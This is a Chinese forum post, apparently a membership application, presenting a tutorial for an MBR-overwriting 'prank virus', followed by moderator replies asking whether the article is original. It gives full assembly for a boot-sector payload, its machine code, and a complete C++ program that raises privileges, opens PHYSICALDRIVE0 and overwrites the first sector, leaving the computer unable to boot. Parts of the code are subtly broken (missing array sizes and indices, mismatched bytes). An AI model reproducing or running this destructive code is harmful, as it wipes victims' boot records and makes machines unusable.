发表于 2023-4-9 13:19

申请会员ID:HenYu

**1、申 请 I D:HenYu
2、个人邮箱:H20090808@outlook.com
3、原创技术文章**

# MBR修改
+ ### MBR是什么
        MBR是主引导记录(Master Boot Record)的英文缩写,在传统硬盘分区模式中,引导扇区是每个分区(Partition)的第一扇区,而主引导扇区是硬盘的第一扇区。**简而言之,就是先于操作系统拿到控制权。**

        为了方便计算机访问硬盘,把硬盘上的空间划分成许许多多的区块(英文叫sectors,即扇区),然后给每个区块分配一个地址,称为逻辑块地址(即LBA)。

        在MBR中,分区表的大小是固定的,一共可容纳4个主分区信息。在MBR分区表中逻辑块地址采用32位二进制数表示,因此一共可表示2^32(2的32次方)个逻辑块地址。如果一个扇区大小为512字节,那么MBR硬盘最大分区容量仅为2TB

        **所以我们可以通过修改MBR实现一些特殊的功能,例如MBR病毒**
+ ### MBR修改过程及实践
#### **        功能描述:**
        该实践样本就只是一个简单的玩笑病毒,主要是让你不能开机,只在屏幕显示一串字符串。
####        **病毒原理:**
        + 准备好将要写入的MBR
        + 提升程序权限   调用CreateFile函数去打开物理驱动器的时候,必须具备调试权限,否则就会打开失败,打开失败我们就不能对MBR进行读取了
        +打开"\\\\.\\PHYSICALDRIVE0"文件\\\\.\\PHYSICALDRIVE0"文件表示本机的物理驱动器0(一般是主硬盘),也就是我们的MBR。
        + 写入MBR
       ***成功写入MBR,我们也就拿到了先于系统的控制权了,就可以做很多事情了,但是这里我们只是在teletype模式下显示一串字符串。***
        ----
        #### **汇编源码**
        **下面是完整的汇编源码:**
        ```assembly
        assume cs:code
        code segment
        start:
        mov ax,12h         ;使用12号功能,对显示器进行设置   
        int 10h
       
        ;显示器的设置
        mov bp, 7C18H      ;字符串的起始偏移,为啥是7c18呢?代码得长度干好18H,哈哈
        mov cx, 13h          ;字符串长度
        mov ax,1301h         ;AH = 13h 调用功能号13 ,在teletype模式下显示字符串,AL = 01H
        mov bx,0Ch         ;BH = 00H BL = 0CH
        mov dx,0h            
        int 10h
       
        jmp $       ;无线循环,防止代码进入数据区
       
        code ends
        end start
        ```
        **下面是对汇编代码的剖析:**
        + 对显示器进行设置:
        int 10h中断是BIOS对系统屏幕显示器所提供的服务程序。我们可以调用int 10h中断来控制显示器的显示。使用INT 10H中断的时候,都先必须指定AH的值,AH的值是用来指定INT 10H将要调用的功能号。
        ```assembly
mov ax,12h         ;使用12号功能,对显示器进行设置   
int 10h            ;调用int 10h中断
```
        + 指定显示字符串:
        ```assembly
mov bp, 7C18H      ;字符串的起始偏移,为啥是7c18呢?代码得长度刚好18H,哈哈
mov cx, 13h          ;字符串长度
```
        + 对字符串显示进行设置
```assembly
        mov ax,1301h         ;AH = 13h 调用功能号13 ,在teletype模式下显示字符串,AL = 01H
        mov bx,0Ch         ;BH = 00H BL = 0CH
        mov dx,0h            ;起始的行列
```

#### INT 10H中断的13号功能
功能描述:在Teletype模式下显示字符串
入口参数:AH=13H
BH=页码
BL=属性,文字模式或颜色 (若AL=00H或 01H)
CX=显示字符串长度
(DH、DL)=坐标(行、列)
ES:BP=显示字符串的地址 AL=显示输出方式
0—— 字符串中只含显示字符,其显示属性在BL中。显示后,光标位置不变
1——字符串中只含显示字符,其显示属性在BL中。显示后,光标位置改变
2——字符串中含显示字符和显示属性。显示后,光标位置不变
3——字符串中含显示字符和显示属性。显示后,光标位置改变
出口参数:无
#### 获取汇编的机器码
上为什么要获取上面代码的机器码呢?因为我们的代码都是被编译器解释为机器码来执行的,这里我们面是汇编代码,所以需要编译链接之后可以将机器码拷贝出来。
**编译连接:**

+ **用到的工具**
`MASM5.0`

+ **用到的指令**
将上面的解压后放到你觉得合适的地方,这里我是放在的C盘。这里编译是用到masm5.0里面的masm.exe程序。下面就对我们的代码进行编译。生成的*.obj文件存放在masm.exe程序的同位置,如果你想改变生成的位置,你可以在cmd显示Object filename 的时候指定一个路径。
        `C:\masm>masm C:\Users\user\Desktop\4.asm`
        ![](https://images2015.cnblogs.com/blog/612518/201607/612518-20160707194839186-408305157.png)
        编译成功后就是连接了,连接我们要用到的就是masm5.0里面的link.exe程序。
        ![](https://images2015.cnblogs.com/blog/612518/201607/612518-20160707194841092-1625985003.png)
        好了,程序连接成功,下面就是提取里面的机器码了。这里我用的是C32Asm,当然你也可以用WinHex
        ![](https://images2015.cnblogs.com/blog/612518/201607/612518-20160707194843264-1624424729.png)
        圈出来的部分就是我们的代码,下面是提取出来的。
        `B8 12 00 CD 10 BD 18 7C B9 13 00 B8 01 13 BB 0C 00 BA 00 00 CD 10 EB FE`
        我们把我们想要显示的字符串添加到后面去。
        `B8 12 00 CD 10 BD 18 7C B9 13 00 B8 01 13 BB 0C 00 BA 00 00 CD 10 EB FE 42 79 20 48 65 6E 59 75`
        #### 主代码
        MBR准备好了。那么就来写主程序吧。主程序就两个函数,一个用来提权,一个用来写MBR。
        ```cpp
        #include "stdafx.h"
        #include <Windows.h>
        #include <TlHelp32.h>
       
        char temp={        0xB8,0x012,0x000,0x0CD,0x010,0x0BD,0x018,0x07C,0x0B9,0x00F,0x000,0x0B8,0x001,0x013,0x0BB,0x00C,0x000,0x0BA,0x000,0x000,0x0CD,0x010,0x0E8,0x0FE,0x42,0x79,0x20,0x48,0x65,0x6E,0x59,0x75};
        //自己写一个函数来提权。
        void GetPrivileges()
        {
        //定义一个PLUID
        HANDLE hProcess;
        HANDLE hTokenHandle;
        TOKEN_PRIVILEGES tp;
        //获取当前进程的句柄
        hProcess = GetCurrentProcess();
        //
        OpenProcessToken(hProcess, TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hTokenHandle);
        //函数查看系统权限的特权值,返回信息到一个LUID结构体里。
        tp.PrivilegeCount =1;
        LookupPrivilegeValue(NULL,SE_DEBUG_NAME,&tp.Privileges.Luid);
        tp.Privileges.Attributes =SE_PRIVILEGE_ENABLED;
        AdjustTokenPrivileges(hTokenHandle,FALSE,&tp,sizeof(tp),NULL,NULL);
        CloseHandle(hTokenHandle);
        CloseHandle(hProcess);

        }

        //下面的函数来读取"\\\\.\\PHYSICALDRIVE0"
        void ReadPHYSICALDRIVE0()
        {
        HANDLE hFile;
        DWORD dwReadSize;
        // char lpBuffer;
        //使用createFile打开这个文件
        char str_Name[] = "\\\\.\\PHYSICALDRIVE0";
        hFile = CreateFile(str_Name, GENERIC_READ | GENERIC_WRITE, 0, NULL, OPEN_EXISTING , FILE_ATTRIBUTE_NORMAL ,0);
        if (hFile == INVALID_HANDLE_VALUE)
        {
        MessageBox(0, "wrong", "wrong", 0);

        }
        BYTE pMBR ={0};               ;MBR为512个字节
        memcpy(pMBR,temp,sizeof(temp)-1);
        pMBR =0x55;                   ;最后的标记位
        pMBR = 0xAA;
        //用readfile来读取文件
        WriteFile(hFile, pMBR, 512, &dwReadSize, NULL);
        }
        int _tmain(int argc, _TCHAR* argv[])
        {GetPrivileges();
        ReadPHYSICALDRIVE0();
        return 0;

        ```
        #### 总结
        运行我们编译好的主程序,然后重启就会发现我们的电脑无法正常启动了,并且在屏幕上会出现一串字符——“By HenYu”。如下图到这里一个简单的改写MBR的程序就写好了。

Hmily 发表于 2023-4-10 10:57

https://www.cnblogs.com/xiongwei/p/9549743.html

这文章是你原创的吗?

发表于 2023-4-12 21:53

这篇文章是我发在CSDN上的一篇文章

Hmily 发表于 2023-4-13 17:04

游客 112.9.7.x 发表于 2023-4-12 21:53
这篇文章是我发在CSDN上的一篇文章

提供一下原帖地址,并用csdn的账号发一个说明这个申请账号贴子是你发布的。
页: [1]
查看完整版本: 申请会员ID:HenYu